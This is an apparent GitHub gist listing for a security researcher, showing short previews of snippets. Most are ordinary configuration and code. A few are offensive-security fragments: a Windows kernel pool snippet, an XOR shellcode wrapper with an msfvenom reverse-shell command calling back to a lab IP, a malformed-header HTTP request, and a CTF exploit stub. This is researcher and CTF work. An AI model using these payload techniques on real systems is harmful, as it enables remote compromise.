Skip to content

Instantly share code, notes, and snippets.

View hugsy's full-sized avatar
:octocat:
‎just hacking on

crazy hugsy hugsy

:octocat:
‎just hacking on
View GitHub Profile
@hugsy
hugsy / meh.json
Created September 19, 2022 16:44
// Place your key bindings in this file to overwrite the defaults
[
{
"key": "ctrl+x ctrl+f",
"command": "workbench.action.files.openFile"
},
{
"key": "ctrl+o",
"command": "-workbench.action.files.openFile"
},
@hugsy
hugsy / constexpr_rand.cc
Created July 21, 2022 01:01
Basic (bad) experiments for a constexpr rand() function
//
// Requires C++20
//
#include <cstdint>
#include <iostream>
#include <string>
constexpr static auto to_int(const char* str, int offset) {
return static_cast<std::uint32_t>(str[offset] - '0') * 10 +
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
#define SystemBigPoolInformation 0x42
#define ThreadNameInformation 0x26
#define DATA_TO_COPY "AAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCDDDDDDDDDDDDDDD"
@hugsy
hugsy / streams1.cpp
Created June 9, 2022 23:18
NTFS streams
//
// http://web.archive.org/web/20150617011338/http://win32.mvps.org/ntfs/dump_ntfs_streams.cpp
//
#include <windows.h>
#include <stdio.h>
#pragma hdrstop
@hugsy
hugsy / check-ms14-066.sh
Created February 1, 2015 23:43
Quick'n dirty script to test MS14-066
#!/bin/bash
#
# @_hugsy_
#
# Simple (harmless) to test if target is vulnerable to SChannel() memory corruption - MS14-066
#
# It uses the fact that MS added 4 new cipher suites to the patch
# TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
# TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
# TLS_RSA_WITH_AES_256_GCM_SHA384
@hugsy
hugsy / Microsoft.PowerShell_profile.ps1
Last active February 18, 2022 00:24
My PowerShell profile
Import-Module posh-git
Import-Module oh-my-posh
Import-Module -Name Terminal-Icons
Set-PoshPrompt slimfat
Set-PSReadlineOption -EditMode Emacs
Set-PSReadLineKeyHandler -Chord Ctrl+LeftArrow -Function BackwardWord
Set-PSReadLineKeyHandler -Chord Ctrl+RightArrow -Function NextWord
# Set-PSReadLineKeyHandler -Chord Ctrl+Backspace -Function BackwardKillWord
@hugsy
hugsy / fakeid.py
Last active December 14, 2021 00:59
Fake ID generator
import sys, time, requests, bs4
RANDOM_ID_URL = "http://www.fakenamegenerator.com/gen-random-us-us.php"
class RandomPerson:
def __init__(self):
self.soup = bs4.BeautifulSoup(self.get_page_text(), "lxml")
d = self.soup.find("div", "address")
self.firstname, self.lastname = d.h3.string.rsplit(" ", 1)
"""
XOR-encoded shellcode wrapper for Windows x86-32 (works fine on x86-64)
Example:
$ msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai \
--format raw -b '\x00\xff' LHOST=192.168.56.1 LPORT=8080 \
2>/dev/null | python xor-payload.py --excel
@_hugsy_
#!/usr/bin/python3.9
import socket
s = socket.socket()
s.connect( ("192.168.57.99", 80) )
s.send(b"""POST / HTTP/1.1\r
Host: 192.168.57.99\r
Accept-Encoding: w00t\r
Accept-Encoding: \r
@hugsy
hugsy / stl.py
Last active May 24, 2021 20:46
[de1ctf 2020] stl_container
#!/usr/bin/env python3.8
import sys
from pwn import *
context.update(
arch="amd64",
endian="little",
os="linux",
# log_level="debug",
terminal=["tmux", "split-window", "-h", "-p 65"],